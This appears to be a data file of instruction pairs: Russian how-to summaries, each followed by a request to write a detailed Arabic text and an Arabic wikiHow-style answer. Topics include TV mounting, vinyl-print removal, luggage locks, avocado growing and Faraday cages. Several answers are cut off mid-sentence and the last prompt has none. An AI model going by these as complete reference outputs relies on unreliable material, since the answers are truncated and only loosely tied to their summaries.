على نتيجة جيدة. يجب أن تكون الثقوب أصغر قليلًا من البراغي التي ستقوم بتثبيتها. الهدف من عمل الثقوب هو تسهيل ربط البراغي. قد تحتاج إلى شخصٍ آخر لمساعدتك في الخطوة التالية. يمكنك استخدام أداة ربط كهربائية أو استخدام مفك براغٍ عادي. تأكد أن دعامة التثبيت مستوية مرة أخرى.  قم بإحداث ثقبين آخرين في الحائط إن كنت ترغب بإخفاء كابلات التوصيل وعدم إظهارها تحت التلفاز.     قم بقطع جزء مستطيل في منتصف دعامة التثبيت. من المفترض أن تحتوي دعامة التثبيت على فجوة مستطيلة معدّة لهذا الغرض خصيصًا.     قم بقطع فجوة مستطيلة أخرى في الحائط الخشبي بعيدًا عن الدعامات على بعد 30 سم من الأرض. من الممكن أن تكون هذه الفجوة أصغر من الفجوة الأولى.     قم بتمرير الكابلات من الفجوة الأولى وإخراجها من الفجوة الثانية. يمكنك استخدام أداة تمرير أسلاك، مثل Fish Tape، للمساعدة على تسريع عملية توصيل الكابلات. قم بإحكام ربط الصواميل المتّصلة بالدعامة حتى تحكم توصيل التلفاز بالدعامة. قم...


Найдите растворитель. Опробуйте растворитель на незаметном участке предмета одежды, чтобы убедиться, что он не портит ткань. Выверните предмет одежды наизнанку, расположив его внутренней стороной рисунка к себе. Пропитайте участок с рисунком растворителем. Выверните предмет одежды обратно на лицевую сторону и удалите рисунок. Повторяйте эти действия, пока полностью не удалите рисунок. Постирайте вещь как обычно, чтобы смыть растворитель.

Given the above summary, write a detailed text in Arabic for it.

تشيع تلك المذبيات وتستطيع العثور عليها في المنزل أو المتجر. احصل على زجاجة تحتوي على سائل كاف لنقع كامل المساحة من قطعة الملابس التي ترغب في إزالة الطباعة من عليها.  يمكنك أيضًا البحث عن مزيل الفينيل الناقل للحرارة والمصمم خصيصًا لإزالة حروف الفينيل من الملابس. تعمل المذبيات فقط لإزالة مطبوعات الفينيل والمطاط من الملابس. الحبر المطبوع على القماش يكون دائم. اقلب الملابس إلى الداخل وابحث عن منطقة لا تظهر عند الارتداء. ضع نقطة أو نقطتين من المذيب الذي ستستخدمه على الجزء المخفي وانتظر لترَ ما إذا كان القماش يتلون أو يتلف بأي شكل.  إذا بدت الملابس على نحو جيد بعد وضع المذيب، يمكنك المتابعة بأمان. إن لم يكن، ينبغي عليك العثور على مذيب آخر لاستخدامه حتى لا تتلف الملابس. لا تستخدم المذيبات على الأقمشة الحساسة مثل الحرير الصناعي والصوف والحرير. يجب أن تكون قادرًا على نقع القماش خلف الطباعة لإزالته من الأمام. ضع قطعة الملابس المقلوبة من الداخل على سطح مستو أمامك. قد يكون من الأسهل الجلوس أو الوقوف على الطاولة او الكاونتر عند إزالة الطباعة. اسكب ما يكفي من المذيب لنقع الجزء الخلفي بالكامل من القماش خلف الطباعة الذي ترغب في إزالتها. ارتدِ قناعًا للوجه إذا كانت الأخيرة الصادرة من المذيبات تسبب الانزعاج.  تأكد أنك تعمل على سطح يكون من السهل تنظيفه إذا انسكب أي مذيب عن طريق الخطأ. تمديد القماش يسهّل من عملية امتصاص القماش للمذيب. تأكد فقط ألّا تمدد الملابس كثيرًا كيلا تتلفها أو تشوهها. اقلب الملابس لتكون الطباعة مواجهة للخارج. حاول تقشير الطباعة بأصابعك أو كشطها باستخدام حافة حادة أو سكين.  كن حذرًا عند استخدام السكين واكشط دائمًا للخارج. يمكنك ارتداء قفازات اللاتكس إذا كنت لا ترغب في لمس المذيب لأصابعك ويديك. أزل أكبر قدر ممكن من الطباعة من خلال التقشير والكشط. اقلب الملابس من الداخل للخارج مرة أخرى واسكب المزيد من المذيبات عندما لا تتقشر بسهولة ثم حاول تقشير وكشط الطباعة المتبقية مرة أخرى حتى تختفي تمامًا. إن لم تتمكن من إزالة كل الطباعة باستخدام المذيب، يمكنك المحاولة في استخدام حرارة المكواة لإزالتها. اتبع تعليمات العناية بالملابس لغسلها بأمان. سيتم التخلص من أي روائح كيميائية شديدة وستكون ملابسك جاهزة للارتداء مرة أخرى. إذا كان هناك أي بقايا غراء أو لزوجة متبقية حيث كانت الطباعة بعد غسل الملابس، فجرب مزيل بقايا المواد اللاصقة.


Найдите резинку.

Given the above summary, write a detailed text in Arabic for it.

ستجد واحدًا في أنحاء منزلك بالتأكيد، أو اشترِ واحدًا من متجر البقالة المحلي إذا لم تجده في منزلك.


Найдите ресурсы. Сходите на прием к врачу. Проконсультируйтесь со специалистом.

Given the above summary, write a detailed text in Arabic for it.

يمكنك الحصول على بعض الأفكار من قراءة القصص المثيرة، فكثير من النساء وجدن المتعة والإثارة في قراءة رواية "خمسون وجهًا لجراي"، ويمكنك أيضًا تصفح الكتب الإرشادية الخاصة بتحسين الحياة الجنسية. ابحث/ ابحثي عن كتب تمت كتابتها بواسطة خبراء في الحياة الجنسية، ويمكنك أيضًا البحث عن بعض الكتابات الموجهة لحالتك الخاصة، فهناك مقالات مخصوصة لمثيلي الجنس والمتحولين جنسيًا، ولكبار السن، وغيرهم. شاهد سلسلة مقاطع الفيديو "جنس أفضل" التي يقدمها معهد سينكلير، والتي ترشحها الجمعية الأمريكية للاستشارات الزوجية والعائلية. العديد من المشاكل الجنسية قد يكون سببها مشاكل طبية، خاصة لدى الرجال. على سبيل المثال، تتسبب أمراض القلب وضغط الدم والسمنة والضغط العصبي في مشاكل ضعف الانتصاب لدى الرجال. لهذا استشر طبيبك في حالة كانت لديك مشاكل طبية تؤثر على حياتك الجنسية. العديد من المشاكل الطبية التي تتسبب في مشاكل جنسية سهلة العلاج. لا تشعر بالحرج من الذهاب إلى الطبيب، فالمشاكل الجنسية مشاكل شائعة وعادة ما يتعامل معها طبيبك طوال الوقت. في بعض الأوقات يحتاج الزوجين أن يقوما باستشارة شخص متخصص لعلاج مشاكل حياتهما الجنسية المشتركة. يعرف استشاري العلاقات الجنسية نوعية الأسئلة المناسبة التي يجب طرحها، ويمكن أن يقدم لكما المساعدة في تحسين حياتكما الجنسية. قد يبدو الأمر في غاية الإحراج عندما تتحدث لشخص غريب عن حياتك الجنسية، لكن لا تقلق فالمختصون يحافظون على سرية الجلسات تمامًا مثل جميع الاستشاريين النفسيين. ثق تمامًا أن وظيفتهم هي تقديم المساعدة، وأنهم لن يقومون بإصدار الأحكام على حالتك.


Найдите рычаг. Сдвиньте рычаг в положение для сброса. Измените комбинацию. Закройте замок, выставив случайное число.

Given the above summary, write a detailed text in Arabic for it.

قد تكون الرافعة في داخل الحقيبة. من الممكن أيضًا أن تكون في الخارج بالقرب من تروس القفل. في كلتا الحالتين، ستحتاج إلى معرفة تركيبة القفل لفتحه وإطلاق السوستة. لتغيير الرقم السري، يجب أن تكون الرافعة في وضع ضبط القفل. في الغالب سيكون عليك تحريك الرافعة إلى الموضع الثاني. ضع رقمًا جديدًا في القفل. تأكد من أنك ستتذكره، واضبط التروس مع الرقم. دور كل ترس إلى الرقم الذي تريده. ادفع الرافعة مرة أخرى إلى الوضع الأول. تحقق من أنك قمت بضبط القفل بشكل صحيح من خلال اختيار الأرقام بطريقة عشوائية ثم تغييرها إلى الأرقام التي حددتها للتو لمعرفة ما إذا كان سيتم فتحها أم لا. بمجرد تغيير رقم القفل سيتم فتحه مرة أخرى، غير الأرقام بشكل عشوائي مرة أخرى لتقفل الحقيبة.


Найдите свое дело. Танцуйте. Проявите свое творческое начало. Занимайтесь спортом. Уделяйте больше внимания смеху.

Given the above summary, write a detailed text in Arabic for it.

إيجاد شيء تستمتع به والسماح لنفسك بتضمينه في حياتك سيجعل تشعر بالسعادة والثقة. ابحث عن شغفك عبر تحليل اهتماماتك والتعرف على ما يجعلك تنسى الوقت والتفكير بالأشياء التي تحب القيام بها منذ الطفولة. حالما تجد شغفك فاسع لتطويره. اعتبر الشغف عضلة بحاجة للعمل من أجل تقويتها، بدلًا من كونه شيئًا تعثر عليه، وبذلك ستتمكن من تطويره بفعالية. الرقص يساعدك في السيطرة على جسدك والاسترخاء والشعور بالراحة على طبيعتك. ثمة أنواع مختلفة للرقص التي تؤدي لزيادة الشعور بالسعادة وتقليل التوتر. ذلك سيمنحك دفعة ثقة بنفسك. يمكنك البدء بالانضمام لصف رقص المبتدئين. لا تحب الصفوف؟ أغلق الستائر وارفع صوت الموسيقى وارقص وحدك في المنزل. هل تحتاج لإرشاد منزلي؟ ابحث عن فيديو على يوتيوب لتعليم الرقص للمبتدئين. الإبداع يساعدك في تحسين قيمتك الذاتية وإيجاد مشاعر لم تعلم بوجودها وتحسين شعورك حيال ما يمكنك تقديمه للعالم. أنت تحتاج للثقة من أجل الإبداع، ولكن الإبداع بذاته يبني الثقة. حتى إن لم تكن تظن نفسك مبدعًا فقد تفاجئ نفسك. اكتب قصيدة أو ارسم لوحة فنية أو تعلم الحركات التفسيرية أو ألف أغنية أو افعل شيئًا خارج منطقة راحتك تمامًا وانظر ماذا ستفعل. الإبداع سيساعدك في رؤية العالم بمنظور مختلفة وجعلك تستريح على طبيعتك.  خصص وقتًا للإبداع في حياتك. إن كنت عالقًا في حلقة مكررة من النوم والعمل والأعمال المنزلية فلن تشعر بالإنجاز. خصص وقتًا للعب والإبداع كي تشعر بالسعادة مما يجعلك أكثر راحة على طبيعتك. ليس عليك الحصول على عضلات بطن مقسمة من أجل تخصيص وقت أسبوعي للتدرب. التدرب لمدة نصف ساعة يوميًا فقط سيحسن مزاجك ويحافظ على قوة القلب ويحسن شعورك حيال مظهرك إحساسك. إن قضاء 20 دقيقة فقط في المشي كل يوم سيجعلك تحسن شعورك حيال الخروج من المنزل وينمي ذهنك بمجرد استنشاق الهواء العليل.   اختر النشاط بدل الراحة كلما أمكنك ذلك. امش 15 دقيقة إلى المتجر بدلًا من القيادة، واصعد السلالم إلى الدور الرابع بدلًا من استقلال المصعد. تلك التغييرات الصغيرة تحدث فارقًا كبيرًا. إن شق عليك تحفيز نفسك على التدريب وحدك فانضم لأحد الصفوف أو شارك صديقًا لك أو انضم لرياضة جماعية. التدريب يمكن أن يكون عملًا اجتماعيًا كذلك. جميعنا نستفيد من الضحك سواء عبر إلقاء النكات أو اصطحاب أشخاص مضحكين أو مشاهدة مسلسل كوميدي. كلما ضحكت أكثر كلما ارتحت على طبيعتك أكثر. ستشعر بالبهجة ويقل القلق...


Найдите свой талант. Продемонстрируйте свой талант. Получайте отзыв. Найдите себе наставника. Учитесь на своих ошибках.

Given the above summary, write a detailed text in Arabic for it.

ثابر على موهبتك أيًا كانت؛ يستثمر "المذهلون" فيما يتقنونه من نشاطات وقتًا كبيرًا لتحقيق ذلك. من قال أنه من السهل أن تكون مذهلًا؟  تقول بعض النظريات أنك تحتاج إلى 10 آلاف ساعة تقريبًا من التدريب قبل أن تتقن شيئًا.  هذا عددٌ كبيرٌ من الساعات. من الممكن جدًا أن تكتسب موهبة مذهلة قبل 1000 ساعة من التدريب، لكن من يتمتعون فعلًا بموهبة مذهلة وملهمة –مثل بيل جيتس وموزارت وفيلكس زمدجز- قضوا وقتًا كبيرًا في الاستعداد ليصبحوا مذهلين. جد طرقًا لتحفيز نفسك أثناء تدربك على موهبك. قسم هدفك إلى أجزاء أصغر وكافئ نفسك بوقت ترفيهي أو وجبة خفيفة أو لعبة فيديو جديدة بعد تحقيقك لما تريده. . يمكنك أن تكون أروع راقص أو كاتب في العالم، لكنك لن تثير دهشة الناس إن لم يروا موهبتك قط. يعني كونك مذهلًا –كما توحي الكلمة- إظهار نفسك، مهما بدا الأمر مخيفًا، لكن تذكر ألا تستعرض أكثر من اللازم –كالتباهي مثلًا- كي لا يظنك الآخرون متغطرسًا.  ابدأ بخطوات صغيرة. من النادر جدًا أن يبدأ الناس تطوير موهبة ويحققوا نجاحًا فوريًا، فبالنسبة لنا كبشر يتطلب الأمر فترة من الوقت للتطوير موهبتك؛ ابدأ بخطوات صغيرة وشق طريقك نحو العظمة. وفي الوقت نفسه فكر في "أكبر منصة" يمكن عرض موهبتك عليها. يريد السحرة الوصول إلى مسارح فيجاس ويريد المغنون أن يربحوا جائزة أفضل مغن بينما يريد لاعبو كرة القدم الفوز بكأس العالم؛ لا تخف من أن تحلم حلمًا كبيرًا حين تتدرب على موهبتك، فذلك الحلم بحد ذاته هو ما يدفعك للأمام. من الضروري أخذ نصائح حيال ما تفعله لتحسين موهبتك، سواءً كانت من مدربك أو والدك أو أصدقائك، وقد قال شاعرٌ مشهورٌ ذات مرة "المرء برفاقه" وما عناه بذلك هو أنك ستعتمد دائمًا على الآخرين لمساعدتك، إذ لا يمكنك فعل كل شيء بنفسك.  اسأل الخبراء الآخرين في المجالات المتصلة بك دومًا عن كيفية تحسين أدائك. ترتبط رغبتك في إثارة الدهشة ارتباطًا مباشرًا بعزمك على تطوير موهبتك لأفضل درجة ممكنة. اطلب مساعدة السحرة الآخرين وتواصل مع الممثلين لتعلم أساليبهم واحضر مخيمات كرة السلة لتطوير مهاراتك. المرشد شخصٌ متمرسٌ في مجال ما ويعتزم إسداء النصح وتقديم العون في الاتجاه الذي تنوي أخذ موهبتك إليه. وجود المرشد بالغ الأهمية لمن يريدون أن يكونوا مذهلين بمواهبهم، لأنه يُساعدهم على تقييم أنفسهم ونيل فرص جديدة لإظهار مواهبهم والتواصل مع آخرين على استعداد لمساعدتهم.   تواصل مع المرشدين الآخرين....


Найдите свою нишу. В качестве теста попытайтесь продать небольшую партию товара. Подготовьте бизнес-план. Зарегистрируйтесь как предприниматель.

Given the above summary, write a detailed text in Arabic for it.

إنّ معرفة المنتج الذي ترغب ببيعه جزء فقط من عملية إنشاء متجر إلكتروني ناجح. ستحتاج إلى معرفة ما الذي يميّز خدماتك عن الخدمات التي يقدمها الآخرون والتى قد يختارها الناس عوضًا عنك، وهذا ينطبق على المتجر الإلكتروني والمتجر الحقيقي. ما الذي سيدفع العميل إلى شراء السترات التي تصنعها يدويًا إذا ما كان هناك مئات المتاجر الإلكترونية الأخرى التي تقدّم نفس المنتجات؟  قم بقياس حجم المنافسة. لا تقم بالاندفاع نحو بيع منتج معين قبل البحث وإلقاء نظرة على المواقع الأخرى المنافسة لك. ضع فى الاعتبار الأسواق الإلكترونية الرئيسية عند التخطيط لتسويق منتجاتك، وقم بالتحقق من المنافسة داخل هذه الأسواق. قدّم شيئًا أصليًّا بحق. إذا ما كنت تبيع منتجات مصنوعة يدويًا أو أعمال فنية، فقد تكون أصالة عملك هي المفتاح لجعل منتجاتك استثنائية ومميزة. حاول تحقيق التوازن بين الأصالة والمظهر العام لمنتجاتك أو خدماتك. قدّم الخبرة. قد تكون خبرتك في نوع المنتجات التي تبيعها هي العامل الذى سيضفي قيمة وجودة على شركتك ويميزها عن باقي الشركات. على سبيل المثال، قد تكون لاعب كرة قدم معتزل تعمل على خط إنتاج متخصص في أحذية كرة القدم. اجعل شغفك وخبرتك جزء من عملية البيع. قم بتوفير وسيلة شراء سهلة الاستخدام. حتّى إذا ما كنت تقدّم منتجات يتم عرضها في متاجر أخرى، يمكنك إضفاء التميّز على متجرك عن طريق جعل عملية التسوق سهلة وممتعة. تأكّد من أن موقعك الإلكتروني سهل الاستخدام وقابل لمشاركة محتوياته مع الآخرين. حاول أن تتجاوب مع العملاء وقم بتوفير خدمة عملاء مميزة لتتميّز عن المواقع الإلكترونية الأخرى التي لا تقدّم هذه الخدمة. في المتاجر الحقيقية، من الحكمة أن تقوم بمحاولة بيع منتجاتك من خلال سُبل أخرى يكون الالتزام فيها بسيطًا (كعرض بضاعتك لدى المتاجر الأخرى، أو استغلال الأسواق المجمّعة، أو عرض البضاعة في المعارض، وما إلى ذلك) قبل أخذ المجازفة والبدء بإنشاء متجر كامل. تنطبق هذه الفكرة أيضًا على البيع عبر شبكة الإنترنت. حاول بيع منتجاتك بشكل فردي على مواقع أخرى. إليك الأشياء التي يجب استقصائها:  من الأشخاص الذين يشترون منتجك؟ قم بتقديم قسيمة خصم أو هدية مجانية للعملاء الذين يشاركون في استطلاع رأي قصير. اعرف أماكن تسوّقهم الأخرى على الإنترنت. ماهو المبلغ الذي يمكن للعملاء دفعه؟ قم باختبار أسعار مختلفة. ما مدى رضا العملاء؟ تعدّ هذه الفرصة فرصة جيّدة لاختبار مدى كفاءة...


Найдите силу тока (I), коэффициент полезного действия (КПД) и напряжение (V) для электродвигателя. Используя формулу (V * I * КПД)/746=HP, определите мощность электродвигателя в лошадиных силах.

Given the above summary, write a detailed text in Arabic for it.

يتم التعبير عن فرق جهد المحرك بوحدة الفولت ويتم التعبير عن شدة التيار بوحدة الأمبير ويتم التعبير عن الكفاءة كنسبة مئوية ويفترض أن تجد هذه القيم على جسم المحرك نفسه. اضرب فرق الجهد في شدة التيار في الكفاءة ثم قسم الناتج على 746. على سبيل المثال، القدرة الحصانية لمحرك يعمل بفرق جهد 230 فولت ويسحب 4 أمبير ويعمل بكفاءة قدرها 82% هي 1 حصان. حوّل الكفاءة إلى قيمة عشرية قبل البدء بالحساب. إن كانت نسبة الكفاءة مثلًا 82%، يمكن التعبير عنها بقيمة 0.82.


Найдите студию боевых искусств недалеко от своего дома. Найдите доступную по цене школу. Посетите занятие. Решите, подходит ли вам метод преподавания. Оцените учеников. Проверьте квалификацию инструктора. Выберите школу, которая подходит под ваше расписание. Присоединитесь к школе единоборств и начните заниматься.

Given the above summary, write a detailed text in Arabic for it.

في أغلب الأحوال، سوف تصل إلى مركز لأحد الفنون القتالية، بناءً على المتاح في مدينتك. إذا كان من الصعب إيجاد صالة تمرين، وعملية البحث تستغرق الكثير من الوقت والمجهود، فلا تحسب أن ذلك عذرًا كافيًا لعدم متابعة القيام بالأمر. ابحث عبر الإنترنت وفي دليل الهاتف، وبالتأكيد سوف تصل إلى أحد مراكز التدريب. نادرًا ما تعلن مراكز التدريب عن أسعارها في ملصقات الدعاية أو الصفحات المعلنة لهم. يمكن أن تكون التكلفة شهرية، أو لعدة أشهر، أو بناءً على عدد مرات التمرن الأسبوعي. في بعض الحالات يكون السعر قابلًا للتفاوض بناءً على عدد الأفراد المنتظمين في الفصل الدراسي معك (مع وجود عروض للأصدقاء والعائلات على سبيل المثال). يوجد بعض المعلمين الذين يحصلون على 50 جنيه في الشهر، أو أنه قد يطلب الحصول على نفس المبلغ في الساعة الواحدة! يرجع الأمر لك لتحديد السعر المناسب والمقبول إزاء الحصول على تعليمات هذا الفن القتالي. بعد القليل من عمليات البحث والتفاوض، سوف تجد نفسك على معرفة بالمدربين الذين يطلبون أموال زائدة عن المعقول.  من الطرق الأخرى الجيدة لتوفير بعض الأموال هي أن تبحث عن الحصص الدراسية التي لا يتم تنظيمها في الأماكن البارزة والملفتة للأنظار. العديد من مدارس الفنون القتالية يتم التنظيم لها من خلال المراكز المجتمعية، والأفراد المتطوعين، والمهتمين بالعمل المجتمعي الموجه للشباب. عدم وجود مركز تدريب في واحد من الأماكن التجارية البارزة في المدينة لا يعني أن جودة التدريب التي تحصل عليها تكون قليلة.  قم كذلك بالاتصال والسؤال حول فرصة الحصول على فترات تجريبية، والملابس المطلوبة، ورسوم العضوية/ الحصة التعليمية. كن حريصًا على مراجعة الرسوم الخفية كذلك. بعض الأماكن تطلب سعرًا أعلى للحصة التعليمية بعد أن تتم حضور عدد معين منهم. من الطرق الجيدة للتعرف أكثر على الفن القتالي وعلى مركز التدريب/ أو المُدرب، هي أن تحضر بعض الحصص التدريبية قبل الانضمام إلى مركز تدريبي أو نوع فن قتالي معين. سوف تنال الفرصة للتعرف على المكان، ومقابلة المتدربين الآخرين، والتحدث مع المدرب، ورؤية كل شيء عن قرب، بحيث تعيد النظر وأنت أمامك الصورة واضحة أكثر.  تحدث مع بعض المتدربين الآخرين. تعرف على ما يعجبهم حول البرنامج التدريبي وما لا يعجبهم. بعض المتدربين الملتزمين بالحضور لفترة طويلة من الوقت سوف يكون لديهم الكثير من الخبرة فيما يخص هذا البرنامج التدريبي، ما سوف يساعدك...


Найдите такую работу, которой хотелось бы заниматься. Ищите спонсоров для своих экспедиций. Ведите дневник своих приключений. Найдите работу с элементом приключений. Найдите работу, где нужно часто путешествовать. Получайте высшее образование.

Given the above summary, write a detailed text in Arabic for it.

بعض الوظائف مثل العمل بالتجديدات أو اقتفاء الأثر أو تدريب غوص السكوبا تتمتع برواتب عالية ويمكنك الحصول عليها بالخبرة والشهادات المناسبة. التجارب التي جنيتها من السفر للخارج وخوض المغامرات وحدك أو الدراسة في المجال الذي تحبه ستفتح لك باباً من الخيارات لفعل ما ترغب. احصل على وظيفة في حديقتك المفضلة أو ابدأ بعملك الخاص لتعليم قيادة قوارب الكاياك مثلاً. إن كنت تحصل على المال مقابل تعليم الناس ما تحب، فبإمكانك تحويل كل يوم إلى مغامرة. احصل على وظيفة في منتجع تزلج كمدرب للتزلج على الجليد، أو ترقَّ في المناصب في مربى مائي. ليس عليك بالضرورة أن تصبح عالماً بحرياً لتعمل مع الحيوانات. هدفك النهائي هو فعل شيء تحبه والحصول على مقابل مادي. إن كانت المغامرات هي ما تحبه، فإن أفضل أحلامك هي إيجاد ممول لرحلتك القادمة لجمع الفطر في فرنسا أو رحلة التزلج الجليد على الجليد في سويسرا. تقدم ناشونال جيوجرافيك الكثير من التمويل لأغراض البحوث ذات الخلفيات المختلفة. تصفح خيارات التمويل على أساس كل رحلة على انفراد واعمل على نشر أو بيع النتائج عند عودتك. إن قمت بكتاب كتاب حقق أفضل المبيعات عن رحلتك عبر دولتك بالقطار وكان ممولاً من شخص آخر في البداية، فأنت بوضع جيد. اكتب عن مغامراتك، وفكر في إبقاء الآخرين على اطلاع مستمر بتجاربك الجريئة عبر المدونات أو المواقع أو شبكات التواصل الاجتماعي. قم بتصوير رحلاتك. أفضل طريقك لإثارة اهتمام الآخرين بمغامراتك وإشهار اسمك كمغامر بحاجة إلى التمويل هي بتسويق نفسك وما لديك من مجموعة مواهب. بيع الصور أو مقاطع الفيديو التي تصورها يُعد أحد أفضل الطرق نحو الحصول على وظيفة بدوام كامل لدى أحد خدمات الوسائط والنشر. هل لديك صور رائعة لما رأيته في رحلتك الأخيرة؟ جرب إرسالها إلى المجلات. إن كانت لديك قصة عظيمة عما مررت به من أحداث في آخر استكشاف لك فحاول القيام بنشرها. إن كانت قابلة للتسويق فقد تحصل على عرض عمل. إن كانت الإقامة في أستراليا تُعد مغامرة بالنسبة لك، فكل ما تفعله هناك يُعد جريئاً ومغامرة وسيسمح لك باستكشاف الأحياء بنفسك. احصل على وظيفة مرشد سياحي أو كعامل يدوي في مكان تحبه واعمل هناك في العطلات. العديد من المناطق الزراعية تقوم باستئجار عمالة موسمية لالتقاط الفواكه أو تشذيب أغصان العنب أو القيام بأية أعمال أخرى خارجية. قد تكون الوظيفة شاقة وذات مقابل منخفض، ولكن إن سمحت لك بالتحرك بحرية فاحزم أمتعتك...


Найдите теплое место для выращивания с частичным солнцем. Избегайте холода, ветра и мороза. Используйте насыщенную почву с хорошим дренажом. Используйте почву с довольно низким рН.

Given the above summary, write a detailed text in Arabic for it.

يحتاج نبات الأفوكادو إلى الشمس مثله مثل النباتات شبه الاستوائية. لقد نشأ الأفوكادو ليزدهر في البيئة الدافئة والرطبة المنتمية لأمريكا الوسطى والمكسيك وجزر غرب الهند. يحتاج نبات الأفوكادو إلى ضوء شمس كي ينمو بشكل جيد. مع ذلك بالتناقض، قد يهلك نبات الأفوكادو الصغير عند التعرض لضوء الشمس بصورة مفرطة (خاصةً قبل أخذ الوقت الكافي حتى ينتج أوراق متوسعة). لذلك السبب، إذا كنت تزرع الأفوكادو من النواه، سوف تحتاج إلى اختيار مكان يصل إليه كمية جيدة من ضوء الشمس المباشر خلال بعض الأوقات من اليوم، لكنه في نفس الوقت ليس معرضًا لضوء الشمس المباشر بصورة منتظمة. تعتبر النوافذ مكانًا جيدًا لزراعة الأفوكادو. تتيح لك النوافذ الزجاجية التحكم بدقة في درجة الحرارة والرطوبة التي يتعرض لها النبات إلى جانب ضمان حصوله على ضوء الشمس خلال جزء من اليوم. على الأغلب، لا ينمو نبات الأفوكادو جيدًا في المناخ القاسي، مثل: الثلوج والرياح الباردة والمناخات ذات الانخفاض السريع لدرجات الحرارة التي قد تضر بالنبات، حتى الأنواع الصارمة منه، لدرجة قد تدمر نبات الأفوكادو. وفقًا لما سبق، إذا كنت تعيش في منطقة قد تنخفض فيها درجة الحرارة في الشتاء إلى التجمد، فأنت بحاجة للتحضير لنقل النبات الناضج إلى الداخل لحمايته من عوامل الطقس. للأنواع المختلفة من الأفوكادو قدرة تحمل متباينة لدرجات الحرارة الباردة؛ في العموم، سوف تعاني سلالات النبات الشائعة من الضرر الكبير نتيجة التجمد في درجات الحرارة التالية: الهند الغربية: 2.5 إلى 1.5 درجة مئوية. جواتيمالا: 3 إلى 1.5 درجة مئوية. هاس: 4 إلى 1.5 درجة مئوية. المكسيك: 6 إلى 3 درجة مئوية. ينمو الأفوكادو بصورة جيدة في التربة الخصبة الفضفاضة، مثل معظم أنواع النباتات  الشائعة. توفر تلك الأنواع من التربة مكونات غذائية جيدة لمساعدة النبات على النمو بثبات، بينما تقلل من خطر الري المفرط والسماح بالتهوية الجيدة. للحصول على أفضل النتائج، جرب استخدام نوع من مكملات التربة، مثل نوع غني بالدبال والمواد العضوية المعدة للاستخدام للزراعة، ومع مرور الوقت سوف تتأسس جذور وساق الأفوكادو بشكل جيد. لتوضيح أكثر، لن تحتاج بالضرورة إلى التربة المعدة للزراعة في بداية عملية النمو لأنك ستبدأ بوضع بذور الأفوكادو في المياه قبل زراعتها في التربة. ينمو الأفوكادو بشكل أفضل في تربة بمستوى معتدل من الحمضية والقاعدية مثل غيره من النباتات. حاول زراعة الأفوكادو...


Найдите тетрадь, в которой будете писать. Украсьте тетрадь. Ведите электронный дневник.

Given the above summary, write a detailed text in Arabic for it.

يُمكن أن تكون مفكرة بسيطة أو مزخرفة، فإذا كنت ترغب في واحدة بسيطة، فكل ما عليك هو أن تشتري دفترًا مثل الذي تستخدمه في الدراسة. في المقابل، يُمكنك كذلك اختيار مفكرة مزخرفة أو لها غلاف من الجلد أو لها قفل ومفتاح.  اختر بين المفكرة التي تحمل سطورًا للكتابة أو الخالية من السطور. تُعد السطور أفضل بكثير للكتابة بشكل مُنظم في حين أن المفكرة التي تخلو من السطور تكون مناسبة للرسم، ولهذا قرر كيف تنوي التعبير عن أفكارك؛ هل بالكتابة أم بالرسم؟ ومن ثم اختر المفكرة التي تجذبك وتشعر أنها ستُلهمك أثناء التدوين. إذا كنت تنوي الاحتفاظ بمفكرة يومياتك طيلة اليوم (في حقيبة يدك أو ظهرك أو جيبك) فعليك أن تختار مفكرة صغيرة الحجم ومناسبة للتجول بها. ضع لمساتك الخاصة على المفكرة من خلال تزيينها على النحو الذي ترغب فيه؛ اجعل الغلاف يحمل شخصيتك من خلال الرسومات والملصقات والألوان، وضع قصاصات المجلات داخل المفكرة في أركان الصفحات. إذا كنت لا تحبذ هذه الفكرة، فلا بأس من ترك المفكرة خالية. ضع في الاعتبار ترقيم الصفحات. يُمكنك أن تفعل ذلك مرة واحدة أو يمكنك ترقيم الصفحات أثناء قيامك بالكتابة أولًا بأول؛ تحتاج الصفحات المرقمة في مراقبة تطور عملية التدوين. يُمكن للتدوين الإلكتروني أن يكون أكثر أمانًا من التدوين الورقي، كون أفكارك يتم الاحتفاظ بها بشكل سري. استخدم برامج معالجة النصوص، مثل: "مايكروسوفت وورد"، واحتفظ بكل تدوينة في ملفٍ منفصل أو جمع جميع التدوينات في ملفٍ واحد.  استخدم نظامًا للتدوين يُدعم استخدام كلمة السر بغرض فتحه واستخدامه من أي جهاز أو حاسوب، جرّب التدوين على موقع مثل وورد بريس Wordpress.com أو يُمكنك التدوين على أي من مزودي خدمة البريد الإلكتروني. على الرغم من مميزات التدوين الرقمي، إلا أنك ستفتقد سحر التدوين الورقي، وهو ما يظل من الواجب عليك تجربته إذا كان لديك فضولًا تجاه الأمر. يُمكنك الاحتفاظ ببعض اليوميات مكتوبة في مفكرتك الخاصة والبعض الآخر مدونًا بشكل رقمي.


Найдите токопроводящий контейнер нужного размера. Застелите внутрь контейнера пакет. Положите внутрь свои устройства.

Given the above summary, write a detailed text in Arabic for it.

استعمل سلة مهملات من الفولاذ المقاوم للصدأ Stainless Steel على أن تكون بغطاء مُحكم، أو ابحث عن أي صندوق أو حاوية معدنية مناسبة. يُعتبر المعدن في هذه الحالة خط دفاعك الأول ضد الإشعاع الكهرومغناطيسي. غطِ السلة أو الحاوية التي أحضرتها من الداخل بطبقة من البلاستيك؛ وذلك بغرض حماية الأجهزة التي ستضعها بالداخل من السطح الموصل للسلة كما يحمي السلة من الماء.  يُمكن زيادة عزل السلة بتبطينها بالكرتون المقوى قبل وضع طبقة البلاستيك. يُمكنك وضع طبقات إضافية من البلاستيك والفويل لزيادة كفاءة قفص فاراداي، فكلما زادت الطبقات كلما كان القفص فعالًا أكثر حتى ولو كانت الطبقات رقيقة. ضع أجهزتك داخل قفص فاراداي الذي صنعته بعد وضع الطبقات في الخطوة السابقة، ويُفضل بالطبع تغطية كل جهاز على حدة بالبلاستيك والفويل كما سبق التوضيح في عمل نموذج مصغر من قفص فاراداي. يُمكنك شراء قفص فاراداي المُعد في صورة حقيبة لوضع أجهزتك بالداخل ومن ثم وضعها في السلة لمزيد من الحماية. أغلِق غطاء السلة بعد وضع الأجهزة داخلها باستخدام اللاصق لمزيد من الإحكام، ويُفضل دائمًا تثبيت القفص في الحائط أو ربطه بشريط أو سلسلة معدنية لمنع تحريكه من مكانه.


Найдите трапециевидные мышцы. Помассируйте трапециевидную мышцу в положении лежа. Сдавливайте трапециевидную мышцу. Выполните растяжку трапециевидной мышцы. Выполните растяжку грудных мышц.

Given the above summary, write a detailed text in Arabic for it.

